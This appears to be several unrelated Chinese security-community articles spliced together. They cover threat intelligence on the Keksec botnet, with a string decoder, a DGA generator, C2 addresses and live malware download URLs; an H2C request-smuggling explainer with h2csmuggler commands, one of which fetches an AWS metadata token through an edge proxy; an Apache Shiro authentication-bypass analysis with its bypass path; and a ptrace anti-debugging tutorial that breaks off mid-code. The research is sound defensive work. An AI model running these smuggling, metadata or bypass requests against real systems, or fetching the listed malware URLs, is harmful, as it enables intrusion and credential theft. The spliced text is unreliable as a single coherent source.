Kek Security （Keksec）是一个极为活跃的黑客组织，
**[Checkpoint](https://research.checkpoint.com/2021/freakout-leveraging-newest-vulnerabilities-for-creating-a-botnet/")** 和
**[Netlab360](https://blog.netlab.360.com/necro-shi-yong-tor-dong-tai-yu-ming-dga-shuang-sha-windows-linux/)**
的报告都对其进行了详细分析。Keksec利用多个漏洞，使用多态工具(包括Linux和Windows有效负载)自定义python恶意软件以攻击多个架构。目前该黑客组织正在积极构建IRC僵尸网络，用于DDoS攻击和勒索活动。本文详细介绍了Keksec利用的工具和使用的策略，以及相关黑客的信息。
## Kaiten变体
早在2020年8月，Keksec就开始利用 **[Kaiten](https://github.com/Vexvain/IRC-DDoS/blob/a8698f5ce6d20ffe286f47a05261785cf8a01161/ddos.c)** IRC
DDoS的多态变体进行网络攻击活动。在撰写本文时，VirusTotal
上已上传1800多个恶意软件。该恶意软件的特殊性质使其无法被hash检测工具识别，通过扫描才能正确识别。上传到VirusTotal上的恶意软件反映了其足迹。数据分析显示，在23个国家/地区有46个提交者密钥，提交者密钥的所有权未在VirusTotal中公开，因此供应商和受害者仍然未知。
在GitHub上可以找到Kaiten变体，但却无法捕捉Keksec变体源。
**[一些样本](https://www.virustotal.com/gui/file/c64e3449987c18db257c9f6a60f4556935eab81085306705319c6be8af5f9c39/detection)**
被配置以利用包括Citrix NetScaler RCE –
CVE-2019-19781和Mirai等IoT漏洞。Kaiten使用替代密码对诸如命令和c2端点之类的敏感字符串进行编码。Keksec样本分析显示，它使用了两个自定义密码，其中一个配置于2月下旬。
Kaiten密码 | 时间
---|---
xm @_; w，BZ * j？nvE | sq1o $ 3″ 7zKC 4ihgfe6cba?＆5Dk2d！8 + 9Uy： | 2020年8月–
2021年2月
％q * KC）＆F98fsr2to4b3yi_：wB> z = ;! k？” EAZ7.D-md <ex5U?h，j | $ v6c1ga + p @
un | 2021年2月–至今
以下python代码可用于解码Kaiten字符串：
encstring_ = "?>K!tF>iorZ:ww_uBw3Bw"
cipher_ = {}
encode = list('%q*KC)&F98fsr2to4b3yi_:wB>z=;!k?"EAZ7.D-md<ex5U~h,j|$v6c1ga+p@un')
decode = list('0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ. ')
temp = zip(encode,decode)
for pairs in temp:
cipher_[pairs[0]] = pairs[1]
decode_temp = []
for s in encstring_:
try:
d = cipher_[s]
decode_temp.append(d)
except:
raise
decoded = ''.join(decode_temp)
print(decoded)
Kaiten样本采用的最新战术是使用Tor，通过.onion域 **vp3te7pkfczmnnl.onion**
实现的，这与早期样本中看到的硬编码IP截然不同。
下表显示了所有使用最新密码(%q*KC)&F98fsr2to4b3yi_:wB>z=;!k?”EAZ7.D-md<ex5U~h,j|$v6c1ga+p@un)所观测到的c2：
Encoded c2 | Decoded | count
---|---|---
?>K!tF>iorZ:ww_uBw3Bw | vp3te7pkfczmnnl.onion | 126
C)uqC)uq9)u9K | 45.145.185.83 | 6
C)uq)Ku _%Kuq_ C45.153.203.1247 | |
自2月以来，使用.onion
c2观测了120多个样本。这些二进制文件由DediPath和ColoCrossing的几个IP提供服务，相关IP也是Mirai恶意软件的两个主要来源。
恶意软件网址 | ASN
---|---
<http://45.153.203.242/bins/fagbinz.sh4> | DediPath
<http://45.153.203.124/S1eJ3/lPxdChtp3zsh4> | DediPath
<http://172.245.36.128/S1eJ3/lPxdChtp3zx86> | ColoCrossing
<http://45.144.225.96/S1eJ3/IObeENwjm68k> | DediPath（irc.kek.org）
<http://45.145.185.83/S1eJ3/IObeENwjsh4> | DediPath（irc.kek.org）
<http://45.144.225.65/S1eJ3/IObeENwjx86> | DediPath
两个恶意软件分发IP（45.144.225.96([ZoomEye搜索结果](https://www.zoomeye.org/searchResult?q=45.144.225.96))和45.145.185.83([ZoomEye搜索结果](https://www.zoomeye.org/searchResult?q=45.145.145.185.83))）也是
**[Keksec IRC基础结构的](https://www.shodan.io/search?query= "irc.kek.org")**
一部分，如图1所示。
**注：** keksec.org仅是IRC服务器的名称，而不是注册域。在一个端点上，扫描仪还捕获了XMRig安装脚本。
图1 Keksec banner
与TeamTNT类似，Keksec过去也通过在恶意软件和基础设施中使用自己的名字。然而，新的Kaiten样本并没有被命名为keksec，也不涉及任何有关keksec的静态构件。下表为例：
类型 | 例子
---|---
文档名 | ayylmao420kekuaintgettindesebinssh4 keksec.ppc keksec.mips
Network | irc.kek.org kek.gay
Strings | keksec keksec rox keksec ROX
## **Necro**
在Kaiten二进制文件中加入新的Tor功能的同时，Keksec也开始在自定义Necro有效负载中使用Tor代理。Necro是Keksec混淆python
IRC恶意软件的名称，其最新版本由Net360捕捉。在最新变体中需要注意的关键特性：
* 安装Tor，利用硬编码代理
* IoCs中提供了代理的完整列表
* 针对Windows和Linux
* Windows的Rootkit功能
* 利用Laravel、Weblogic漏洞
* CVE-2020-14882
* CVE-2021-3129
* 使用具有NO-IP.COM动态域的新DGA
Necro的特点是其独特的混淆功能，它充分利用了zlib压缩和多字节XOR键的组合，可以使用Lacework Labs提供的
**[脚本](https://github.com/lacework/lacework-labs/blob/master/keksec/keksec_necro_decoder.py)** 解码这些样本。
图2 ZLIB + XOR模糊处理的前后示例
在消除混淆后，代理配置和Tor安装命令很容易被观察到，同样，DGA算法是可识别的。以下python生成所有可能的Necro
DGA域。截至目前，只有域名ntxkg0la99w.zapto.org已在野外出现。
import random
counter_=0
while 1:
if counter_>=0xFF:
break
counter_ +=1
random.seed(a=0x7774DEAD + counter_)
dgadomain_=(''.join(random.choice("abcdefghijklmnopqoasadihcouvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789") for _ in range(random.randrange(10,19)))).lower()
dgadomain_+="."+random.choice(["ddns.net","ddnsking.com","3utilities.com","bounceme.net",
"freedynamicdns.net","freedynamicdns.org","gotdns.ch","hopto.org",
"myddns.me","myftp.biz","myftp.org","myvnc.com","onthewifi.com",
"redirectme.net","servebeer.com","serveblog.net","servecounterstrike.com",
"serveftp.com","servegame.com","servehalflife.com","servehttp.com",
"serveirc.com","serveminecraft.net","servemp3.com","servepics.com",
"servequake.com","sytes.net","viewdns.net","webhop.me","zapto.org"])
print(dgadomain_)
## **黑客信息**
Kek Security至少由4个人组成，其中最知名的是“ Freak”。其他成员为“ horsewithnoname”、“ Tyrant”和“
Moony”。Freak是Necro恶意软件的作者，该恶意软件可追溯到2015年。他还维护了GitHub，其中包含各种存储库，包括
**[Necro](https://github.com/freakanonymous/freakout/blob/main/out.py)**
较老版本的存储库、Windows Rootkit加载器、darkIrc源代码以及以及最近披露的影响VMware s vCenter漏洞的利用代码。
图3 @freakanonymous
虽然Keksec的github是于2021年1月创建的，但他们也管理一个从2014年开始使用粘贴的pastebin。该Keksec
pastebin有包括扫描仪、利用和加密等各种自定义工具，其中一个粘贴是用于混淆早期版本Necro的代码，它使用zlib压缩且未附加XOR编码。
图4 Necro混淆器
Lacework最近在博客中提到了另一个名为TeamTNT的黑客组织，他们在总体战术上有很多相似之处：都是社交媒体上的自我推销者、都利用了Kaiten源代码和基础设施的自属性。也有证据表明，某种程度上TeamTNT与GitHub账号有所关联，@jwne是@freakanonymous的5个粉丝之一。
* * * | 社区文章 |
# HTTP/2 H2C 请求走私分析
|
##### 译文声明
本文是翻译文章，文章原作者 bishopfox，文章来源：labs.bishopfox.com
原文地址：<https://labs.bishopfox.com/tech-blog/h2c-smuggling-request-smuggling-via-http/2-cleartext-h2c>
译文仅供参考，具体内容表达以及含义原文为准。
## 0x01 前言
HTTP走私是bug bounty
项目中经常被关注的点。通过HTTP走私，攻击者可以访问内部的服务器甚至是获得各种提权的机会。当前HTTP/1.1被广泛应用，但也暴露出一些问题，比如容易出现请求走私，使用HTTP/2可能是一个解决走私的一个方案。但HTTP/2就能完全防止走私吗？本文就对HTTP/2
h2c 走私进行一个简要的研究。
## 0x02 HTTP/2协议与H2C交换
通常HTTP/2协议在第一个HTTP请求之前，使用h2字符串进行标识，h2c是在Web协议从HTTP/1.1升级到HTTP/2的步骤中使用的标头。根据[RFC-7540](https://tools.ietf.org/html/rfc7540)文档的描述，仅当客户端和服务器均支持HTTP/2时，才能使用HTTP
/ 2协议。如果有一个如下请求：
GET / HTTP/1.1
Host: test.example.com
Connection: Upgrade, HTTP2-Settings
Upgrade: h2c
如果是不支持HTTP/2的服务器，则响应：
Server ignored
如果是支持HTTP/2的服务器，则响应：
HTTP/1.1 101 Switching Protocols
Connection: Upgrade
Upgrade: h2c
[ HTTP/2 connection ...
通过阅读RFC-7540文档发现，HTTP/2通信与websocket通信有些类似。客户端（Web浏览器）询问服务器是否支持HTTP/2与Web服务器通信，并相应地决定使用HTTP/2还是HTTP/1.x通信。
HTTP/2通信是在第7层（应用程序）中执行的协议，使用TCP连接，由于它与现有的HTTP通信不同，`101 Switching
protocol`会像websocket一样检查是否支持之后，才使用协议转换器。并且HTTP/2使用与HTTP/1.1相同的 “http “和 “https
“URI方案，HTTP/2共享相同的默认端口号，比如在http->80，https->443上与HTTP相同。
> An HTTP/2 connection is an application-layer protocol running on top of a
> TCP connection ([TCP]). The client is the TCP connection initiator.
> HTTP/2 uses the same “http” and “https” URI schemes used by HTTP/1.1.
> HTTP/2 shares the same default port numbers: 80 for “http” URIs and 443 for
> “https” URIs. As a result, implementations processing requests for target
> resource URIs like “<http://example.org/foo>“ or “<https://example.com/bar>“
> are required to first discover whether the upstream server (the immediate
> peer to which the client wishes to establish a connection) supports HTTP/2.
> The means by which support for HTTP/2 is determined is different for “http”
> and “https” URIs. Discovery for “http” URIs is described in Section 3.2.
> Discovery for “https” URIs is described in Section 3.3.
当HTTP/1.x要升级到HTTP/2，标识符、`HTTP2-Settings`标头和Upgrade标头需要出现在http请求中。标识符的类型包括HTTP的`h2c`和HTTPS的`h2`。当`Upgrade:
h2c`时，则以纯文本形式传递HTTP/2：
GET / HTTP/1.1
Host: test.example.com
Connection: Upgrade, HTTP2-Settings
Upgrade: h2c
HTTP2-Settings: <base64url encoding of HTTP/2 SETTINGS payload>
在服务器支持HTTP/2时，它将`101 Switching
protocol`转发到客户端并建立TLS连接（HTTP/2）与客户端进行通信。在这种情况下，使用TLS-ALPN协议。在此过程中，使用APLN扩展名，客户端向服务器提供版本列表，然后服务器选择一个版本。同理，使用https时，HTTP/2选择`h2`。
当直接使用HTTP/2时，通过TLS-ALPN进行协议协商之后，进行TLS连接。
## 0x03 H2C走私
许多Web服务都使用反向代理。在此过程中，当需要进行`101
Switching`时，代理服务器将充当中介，无需任何操作。通过阅读RFC文档和TLS中关于的HTTP/2配置文档，里面声明只有明文连接才可以使用`h2c`升级，并且转发时不应包含`HTTP2-Settings`头。
在RFC7540#section-3.2.1中指出：
> HTTP2-Settings = token68
> A server MUST NOT upgrade the connection to HTTP/2 if this header
> field is not present or if more than one is present. A server MUST
> NOT send this header field.
在[http2-spec](https://http2.github.io/http2-spec/#discover-https)中还指出：
> 3.3 Starting HTTP/2 for “https” URIs
> A client that makes a request to an “https” URI uses TLS [TLS12] with the
> application-layer protocol negotiation (ALPN) extension [TLS-ALPN].
> HTTP/2 over TLS uses the “h2” protocol identifier. The “h2c” protocol
> identifier MUST NOT be sent by a client or selected by a server; the “h2c”
> protocol identifier describes a protocol that does not use TLS.
> Once TLS negotiation is complete, both the client and the server MUST send
> a connection preface (Section 3.5).
在TLS上使用HTTP/2时，被告知使用`h2`协议标识符，而不是`h2c`。正如上一节提到的，`h2c`是一个用在http上的标识，而`h2`则是用于https的标识。如果代理通过TLS将`h2c`转发到后端进行协议升级，会出现什么情况呢？
我个人理解：在反向代理环境中，后端服务器仅知道客户端是Cleartext还是TLS（具有`h2c`和`h2`等标识），因此它将TLS连接确定为HTTP，并在TLS连接上创建TCP隧道。在这种情况下，由于客户端不是HTTP，但仍可以通过TLS使用现有连接。换句话说，由于它是已连接的连接而不是HTTP通信，因此不受Proxy的ACL策略的影响，并且由于TCP
Tunnel中的请求可以进行HTTP操作，因此可以访问被阻止的资源。个人感觉整个走私行为与WebSocket连接走私非常相似。
具体走私流程如下：
1 .客户端将HTTP/1.1升级请求发送到反向代理（发送了错误的标头）
2 .代理将请求转发到后端，后端返回101 Swiching协议的响应，并准备接收HTTP/2通信
3 .代理从后端服务器收到101响应时，将创建TCP隧道
4 .客户端从代理接收到101响应时，将重新用现有TCP连接并执行HTTP/2初始化
5 .客户端使用HTTP/2多路复用，发送针对受限资源的违法请求
6 .由于代理服不监视TCP通信（HTTP通过策略），因此它违法求发送到受限页面
7 .服务器响应，转发到TLS隧道，实现走私
## 0x04 如何检测
以下代理可能存在这一走私问题：
1 .默认支持（默认存在问题）：
HAProxy v2.2.2
Traefik v2.2
Nuster v5.2
2 .需要配置（只有不恰当设置才会有问题）:
AWS ALB / CLB
NGINX
Apache
Squid
Varnish
Kong
Envoy
Apache Traffic Server
那么如何进行检测测试呢？这里提供[h2csmuggler工具](https://github.com/BishopFox/h2csmuggler)
安装配置：
$ git clone https://github.com/BishopFox/h2csmuggler
$ cd h2csmuggler
$ pip3 install h2
扫描：
$ python3 h2csmuggler.py --scan-list urls.txt --threads 5
获取内部端点：
$ python3 h2csmuggler.py -x https://edgeserver -X POST -d '{"user":128457 "role": "admin"}' -H "Content-Type: application/json" -H "X-SYSTEM-USER: true" http://backend/api/internal/user/permissions
暴破端点：
$ python3 h2csmuggler.py -x https://edgeserver -i dirs.txt http://localhost/
这个过程中使用了HTTP/2的多路复用。复用是HTTP/2的主要功能，这意味着可以同时请求多个资源，可以理解为`Connection: keep-alive
, pipeline`的改进版。
获取AWS 源数据 api:
$ python3 h2csmuggler.py -x https://edgeserver -X PUT -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" http://169.254.169.254/latest/api/token`
更多使用细节参见：<https://github.com/BishopFox/h2csmuggler>
## 0x05 如何预防
对于HTTP请求走私/
WebSocket连接走私可能有多种应对对策，但从原则上讲，按照RFC文档中的说明，限制在TLS连接中使用`h2c`升级应该是最为有效的方法。当然，如果可能的话，也可以通过限制代理服务器中传递标头，仅处理由服务使用的标头来减小风险。
我个人认为，重要的是要防止使用未使用的标头，限制可以查看其他主机（例如host，x-forward-for等）的标头，以使私有路径无法被直接访问。与所有走私活动一样，防护方了解每一步消息传递的差异比依靠单纯补丁更有预防效果。对于这类通过请求走私或请求伪造攻击进行的任意用户控制的请求，应当维持纵深防御策略，减少架构中走私标头的重要性，在后端识别和拒绝可疑请求，才能有助于减小这类攻击的影响。
## 参考文献
<https://github.com/BishopFox/h2csmuggler>
<https://www.hahwul.com/2019/10/30/websocket-connection-smuggling/>
<https://zh.wikipedia.org/wiki/HTTP/2>
<https://tools.ietf.org/html/rfc7540>
<https://tools.ietf.org/html/rfc7301>
<https://www.iana.org/assignments/tls-extensiontype-values/tls-extensiontype-values.xhtml#alpn-protocol-ids>
<http://vlambda.com/wz_7iw9mXKwx3W.html> | 社区文章 |
Apache
Shiro作为常用的Java安全框架，拥有执行身份验证、授权、密码和会话管理等功能，通常会和Spring等框架一起搭配使用来开发Web应用。笔者最近捣鼓Shiro本来是打算参考最近Shiro的一些issue然后为SCTF出题的，但在测试过程中却发现了一些新的缺陷能导致权限绕过，便报告给Apache
Shiro官方。在此同时玄武实验室安全研究人员也单独发现了另外一种绕过方式。
## 影响范围
* Apache Shiro < 1.5.3
* Spring 框架中只使用 Shiro 鉴权
## 漏洞复现
测试Demo：<https://github.com/l3yx/springboot-shiro>
权限配置如下，其中/admin下的路由需要登录才能访问
@Bean
ShiroFilterFactoryBean shiroFilterFactoryBean(){
ShiroFilterFactoryBean bean = new ShiroFilterFactoryBean();
bean.setSecurityManager(securityManager());
bean.setLoginUrl("/login");
bean.setSuccessUrl("/index");
bean.setUnauthorizedUrl("/unauthorizedurl");
Map<String, String> map = new LinkedHashMap<>();
map.put("/doLogin", "anon");
map.put("/admin/*", "authc");
bean.setFilterChainDefinitionMap(map);
return bean;
}
--- @GetMapping("/admin/page")
public String admin() {
return "admin page";
}
maven打包项目为test.war，部署于Tomcat。该漏洞成功利用存在下面两个条件
1. 应用不能部署在根目录，也就是需要context-path，server.servlet.context-path=/test，如果为根目录则context-path为空，就会被CVE-2020-1957的patch将URL格式化，值得注意的是若Shiro版本小于1.5.2的话那么该条件就不需要。
2. Spring控制器中没有另外的权限校验代码
如果直接访问 `/test/admin/page` ，会返回302跳转要求登录
但是访问 `/;/test/admin/page` , 就能直接绕过Shiro权限验证，访问到/admin路由中的信息
## 漏洞分析
由于Shiro的权限校验是通过判断url匹配来做的，如果能找到Shiro获取的url与Web框架处理url不一致的情况就能造成权限绕过。Shiro中对于URL的获取及匹配在org.apache.shiro.web.filter.mgt.PathMatchingFilterChainResolver#getChain
以访问`/;/test/admin/page`举例，通过getPathWithinApplication函数得到的路径为`/`
跟入该函数的处理逻辑
org.apache.shiro.web.util.WebUtils#getPathWithinApplication
可以看到 org.apache.shiro.web.util.WebUtils#getRequestUri 获取到的是`/`
这里分别通过`getContextPath()` `getServletPath()`
`getPathInfo()`获取并拼接得到`/;/test//admin/page`，传入后decodeAndCleanUriString变成了`/`,
org.apache.shiro.web.util.WebUtils#decodeAndCleanUriString
在decodeAndCleanUriString，会根据ascii为59的字符也就是`;`进行URL的截断，所以最终返回了`/`
回到最开始的`/;/test/admin/page`请求，该request请求会进入spring中，spring处理url函数如下
org.springframework.web.util.UrlPathHelper#getPathWithinServletMapping
在getPathWithinApplication处理下是能正确获取到context-path与路由，最终经过getPathWithinServletMapping函数格式化处理后，得到最终路径为`/admin/page`，所以我们可以正常访问到该页面
因此总结来说就是当URL进入到Tomcat时，Tomcat判断`/;test/admin/page`
为test应用下的/admin/page路由，进入到Shiro时被`;`截断被认作为`/`,再进入Spring时又被正确处理为test应用下的/admin/page路由，最后导致shiro的权限绕过。
## 漏洞修复
Shiro 1.5.3修改了URL获取的逻辑，不单独处理context-path，具体代码如下所示
org.apache.shiro.web.util.WebUtils#getPathWithinApplication
因此就无法再通过构造context-path的方式来进行绕过了。
## 处理时间线
* 2020-6-18 16:30 边界无限安全研究员淚笑向 Apache Shiro 官方报告漏洞
* 2020-6-19 00:04 Apache Shiro 开始处理漏洞，issue为SHIRO-782
* 2020-6-22 22:49 Apache Shiro 发布致谢 | 社区文章 |
## 调试器的实现原理
要想进行调试，调试器是必不可少的，首先需要了解一下我们常用的Linux下的调试器如GDB，是如何实现的
GDB 基于ptrace编写而成的调试器，ptrace是一个Linux提供的用于调试的系统调用
函数原型如下
NAME
ptrace - process trace
SYNOPSIS
#include <sys/ptrace.h>
long ptrace(enum __ptrace_request request, pid_t pid,
void *addr, void *data);
简单来说， **ptrace系统调用提供了一种方法来让父进程可以观察和控制其它进程的执行，检查和改变其核心映像以及寄存器。
主要用来实现断点调试和系统调用跟踪**
这个函数根据 request 参数来表示想要请求执行的行为 ，并且根据不同的request决定后续的pid、addr、data参数是否有意义。
下面是几个常见的 request 参数的可选项：
* PTRACE_TRACEME ：表示本进程将被其父进程跟踪，此时剩下的pid、addr、data参数都没有实际意义可以全部为0
这个选项只能用在被调试的进程中，也是被调试的子进程唯一能用的request选项，其他的都只能用父进程调试器使用
* PTRACE_ATTACH：attach到一个指定的进程，使其成为当前进程跟踪的子进程，而子进程的行为等同于它进行了一次PTRACE_TRACEME操作，可想而知，gdb的attach命令使用这个参数选项实现的
~~变成其他进程的爹，你就可以调试它~~
* PTRACE_CONT：继续运行之前停止的子进程，也可以向子进程发送指定的信号，这个其实就相当于gdb中的continue命令
除了上面的几个，还有很多操作子进程内存数据寄存器数据的request选项，详见man手册，这里不一一展开，
如上图所示，gdb调试的本质实际上就是父进程使用ptrace函数对子进程进行一系列的命令操作
这里举一个例子
#include <sys/ptrace.h>
#include <sys/wait.h>
#include <sys/reg.h> /* For constants ORIG_EAX etc */
#include <sys/user.h>
#include <sys/syscall.h> /* SYS_write */
#include <stdio.h>
int main() {
pid_t child;
long orig_rax;
int status;
int iscalling = 0;
struct user_regs_struct regs;
child = fork();
if(child == 0)
{
ptrace(PTRACE_TRACEME, 0, 0);//发送信号给父进程表示已做好准备被调试
execl("/bin/ls", "ls", "-l", "-h", 0);
}
else
{
while(1)
{
wait(&status);//等待子进程发来信号或者子进程退出
if(WIFEXITED(status))
//WIFEXITED函数(宏)用来检查子进程是被ptrace暂停的还是准备退出
{
break;
}
orig_rax = ptrace(PTRACE_PEEKUSER, child, 8 * ORIG_RAX, 0);
//获取rax值从而判断将要执行的系统调用号
if(orig_rax == SYS_write)
{//如果系统调用是write
ptrace(PTRACE_GETREGS, child, 0, ®s);
if(!iscalling)
{
iscalling = 1;
//打印出系统调用write的各个参数内容
printf("SYS_write call with %p, %p, %p\n",
regs.rdi, regs.rsi, regs.rdx);
}
else
{
printf("SYS_write call return %p\n", regs.rax);
iscalling = 0;
}
}
ptrace(PTRACE_SYSCALL, child, 0, 0);
//PTRACE_SYSCALL,其作用是使内核在子进程进入和退出系统调用时都将其暂停
//得到处于本次调用之后下次调用之前的状态
}
}
return 0;
}
编译运行后，会输出如下
$ gcc ./ptrace1.c -o ptrace1 && ./ptrace1
SYS_write call with 0x1, 0x9e1020, 0xf
总用量 940K
SYS_write call return 0xf
SYS_write call with 0x1, 0x9e1020, 0x35
-rwxrwxr-x 1 zeref zeref 8.7K 11月 16 03:10 ptrace1
SYS_write call return 0x35
SYS_write call with 0x1, 0x9e1020, 0x37
-rw-rw-r-- 1 zeref zeref 601 11月 16 03:10 ptrace1.c
SYS_write call return 0x37
SYS_write call with 0x1, 0x9e1020, 0x35
-rwxrwxr-x 1 zeref zeref 8.7K 11月 16 03:16 ptrace2
SYS_write call return 0x35
SYS_write call with 0x1, 0x9e1020, 0x37
-rw-rw-r-- 1 zeref zeref 1.3K 11月 16 03:16 ptrace2.c
SYS_write call return 0x37
SYS_write call with 0x1, 0x9e1020, 0x32
-rwxrwxr-x 1 zeref zeref 892K 11月 15 22:57 test
SYS_write call return 0x32
SYS_write call with 0x1, 0x9e1020, 0x33
-rwxrwxr-x 1 zeref zeref 8.4K 11月 15 22:51 test1
SYS_write call return 0x33
SYS_write call with 0x1, 0x9e1020, 0x35
-rw-rw-r-- 1 zeref zeref 174 11月 15 22:51 test1.c
SYS_write call return 0x35
可以看到，每一次进行系统调用前以及调用后的寄存器内容都发生的变化，并且输出了`ls -l -h`的内容
这只是ptrace的部分功能，ptrace能做到的事情还有更多，比如还能修改内存，修改寄存器的值，插入字节码实现下断点的功能，这里仅仅简单介绍一下gdb调试器的大概实现原理
如果对编写调试器感兴趣的话，可以康康这个大佬的博客：
[veritas501](https://veritas501.space/2017/10/16/%E7%BF%BB%E8%AF%91_%E7%BC%96%E5%86%99%E4%B8%80%E4%B8%AALinux%E8%B0%83%E8%AF%95%E5%99%A8/)
## 反调试
介绍完调试的原理，就需要思考下一个问题，如果防止别人调试我们写好的程序？
最简单的办法如下
#include <sys/ptrace.h>
#include <stdio.h>
int main()
{
if (ptrace(PTRACE_TRACEME, 0, 0, 0) ==-1 )
{
printf("don't trace me:(\n");
return 1;
}
printf("no one trace me:)\n");
return 0;
}
根据前面说的，只要能当其他进程的爹，就能调试他，但ptrace有个规定是，每个进程只能被`PTRACE_TRACEME`一次，因此只要程序的开头就先执行一次`ptrace(PTRACE_TRACEME,
0, 0, 0)`，当gdb再想attach的时候就会发现已经执行了一次不能再执行了从而返回-1
~~这大概就是我先当了我自己的爹，别人就不能当我爹吧~~
运行情况如下
$ ./anti1
no one trace me:)
---- $ gdb ./anti1
$pwndbg> r
Starting program: /home/zeref/桌面/debug&anti/anti1
don't trace me:(
[Inferior 1 (process 21216) exited with code 01]
那如果遇到这种反调试该如何绕过呢？
一般有以下几种操作：
1. 打patch，把有关ptrace函数的部分nop掉
2. 利用hook技术，把ptrace函数给替换成自定义的ptrace函数，从而可以任意指定它的返回值
3. 充分利用gdb的catch命令，`catch syscall ptrace`会在发生ptrace调用的时候停下，因此在第二次停住的时候`set $rax=0`，从而绕过程序中`ptrace(PTRACE_TRACEME, 0, 0, 0) ==-1`的判断
效果如下
$ gdb ./anti1
$pwndbg> catch syscall ptrace
Catchpoint 1 (syscall 'ptrace' [101])
$pwndbg> r
Starting program: /home/zeref/桌面/debug&anti/anti1
Catchpoint 1 (call to syscall ptrace), 0x00007ffff7b0ae2e in ptrace (request=PTRACE_TRACEME) at ../sysdeps/unix/sysv/linux/ptrace.c:45
$pwndbg> c
Continuing.
Catchpoint 1 (returned from syscall ptrace), 0x00007ffff7b0ae2e in ptrace (request=PTRACE_TRACEME) at ../sysdeps/unix/sysv/linux/ptrace.c:45
在连续si到即将执行ret时
$pwndbg> set $rax=0
$pwndbg> c
Continuing.
no one trace me:)
[Inferior 1 (process 21279) exited normally]
**那么问题又来了，如何防止我们的程序被这种骚操作绕过反调试呢？**
分析一下上面的绕过方法，发现本质上都是为了使得`ptrace(PTRACE_TRACEME, 0, 0,
0)`无效，因为使之无效化又不影响主程序的逻辑，那便可以完美绕过
所以这里一种方法是这样，想办法生成一个子进程，并且ptrace跟踪它，并且使他与父进程的运行逻辑密不可分，这样一来单纯的干掉一个ptrace函数调用就不能绕过反调试
比如，可以通过自己定义syscall的方式来实现父子进程之间的身份认证，确保子进程是与父进程在通讯，而不是与gdb在通讯
例子如下
#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <sys/ptrace.h>
#include <sys/syscall.h>
#include <sys/wait.h>
#include <sys/user.h>
#define SYS_CALL_myread 12345
#define SYS_CALL_mywrite 67890
void myread(char *str,int len)
{
syscall(SYS_CALL_myread, str,len,0);
}
void mywrite(char *str)
{
syscall(SYS_CALL_mywrite, str,strlen(str),1);
}
void tracee()
{
ptrace(PTRACE_TRACEME, 0, 0, 0);
raise(SIGCONT);//向自身发送SIGCONT信号，表示继续执行
char *str1="what is your name?\n";
static char name[0x10];
char *ptr_name=name;
mywrite(str1);
myread(ptr_name,0x10);
puts("welcome!");
mywrite(ptr_name);
}
void tracer(pid_t child_pid)
{
int status;
struct user_regs_struct regs;
waitpid(child_pid, &status, 0);
//如果子进程的ptrace被patch掉，则无法接收到status
if (!WIFSTOPPED(status))
{//宏用来指出子进程是正常退出的，返回一个非零值
printf("gg\n");
exit(1);
}
ptrace(PTRACE_SETOPTIONS, child_pid, 0, PTRACE_O_EXITKILL);
//如果子进程处于退出状态则发送一个SIGKILL信号给它
while (WIFSTOPPED(status))
{
ptrace(PTRACE_SYSCALL, child_pid, 0, 0);//在子进程进程syscall之前断下
waitpid(child_pid, &status, 0);
ptrace(PTRACE_GETREGS, child_pid, 0, ®s);//获取寄存器值
if (regs.orig_rax == SYS_CALL_mywrite)
{
//str,strlen(str),1
regs.orig_rax = SYS_write;
unsigned long long int tmp = regs.rdx;
regs.rdx = regs.rsi;
regs.rsi = regs.rdi;
regs.rdi=tmp;
ptrace(PTRACE_SETREGS, child_pid, 0, ®s);
//设置寄存器值，使其改为正确的syscall
}
if (regs.orig_rax == SYS_CALL_myread)
{
//str,strlen(str),0
regs.orig_rax = SYS_read;
unsigned long long int tmp = regs.rdx;
regs.rdx = regs.rsi;
regs.rsi = regs.rdi;
regs.rdi=tmp;
ptrace(PTRACE_SETREGS, child_pid, 0, ®s);
}
ptrace(PTRACE_SYSCALL, child_pid, 0, 0);
waitpid(child_pid, &status, 0);
}
}
int main()
{
pid_t child_pid = fork();
if (child_pid < 0)
{
printf("gg\n");
exit(1);
}
if (child_pid == 0)
{
tracee();
}
else
{
tracer(child_pid);
}
return 0;
}
这种方法可以在一定程度上加大反调试力度，但其实还是有办法应对的，可以通过逆向发现父子进程直接的互动无非就是syscall的系统调用号和参数的转换，那只要逆的明明白白，仍然可以强行打patch，把myread，mywrite又改回正常的read，write就可以绕过反调试了
**所以又该怎么样继续加大反调试的力度呢？**
可以考虑如下操作
1. 加大力度，定义更多的syscal来代替libc函数，增大逆向难度
2. 不仅仅单纯的替换系统调用号和参数，可以加入数据的交互，比如通过管道通信添加加密与解密的操作
3. 给程序加很多花里胡哨的混淆，增加理解程序逻辑难度
4. ......
**这大概就是攻击与防御的乐趣吧，如果哪位大佬还有更骚操作和想法请务必评论区分享一波**
### 其他小技巧
上面是专门针对ptrace进行的反调试与绕过反调试的分析，下面还有几种比较偏门的反调试措施，但是这些措施都比较容易绕过，通过打patch基本上都可以绕过，这里就简单介绍一下
**1.检测/proc/self/status**
检查 `/proc/self/status` 中的 `TracerPID` \-正常运行时为0，在有debugger挂载的情况下变为debugger的PID。因此通过不断读取这个值可以发现是否存在调试器，进行对应处理
例子如下
#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <sys/ptrace.h>
#include <sys/syscall.h>
#include <sys/wait.h>
#include <sys/user.h>
#include <string.h>
void test()
{
FILE *fp;
int TracerPid=0;
fp=fopen("/proc/self/status","r");
// printf("%p\n",fp);
static char buf[0x100];
char *ptr=&buf;
while(fgets(ptr, 0x100, fp))
{
if (strstr(ptr,"TracerPid"))
{
char tmp[0x10];
int len=strlen(ptr);
TracerPid=atoi((char *)ptr+len-3);
if (TracerPid != 0)
{
puts("don't debug me!");
}
}
}
}
int main(int argc, char const *argv[])
{
while(1)
{
test();
sleep(1);
}
}
类似的操作还有扫描整个虚拟地址空间，在text段查找被修改的字节码，如当调试器下断点的时候实际上会插入int3的字节码，从而达到断下的目的，如果扫描到这些特征字节码（如0xcc等等）就马上停止程序，从而达到反调试的作用，同样的比较容易被绕过，这里就只提供一种思路，不再举具体例子
**2.检测/proc/self/cmdline**
这种操作本质上就是在检测输入的命令内容，如果输入执行`gdb ./xx`或者`strace ./xx`就会被检测到
总体还是还是比较鸡肋的，如果先进gdb在attach pid的话就检测不到。。。
#include <stdio.h>
#include <string.h>
int main(int argc, char *argv[])
{
char buf1[0x20], buf2[0x100];
FILE* fp;
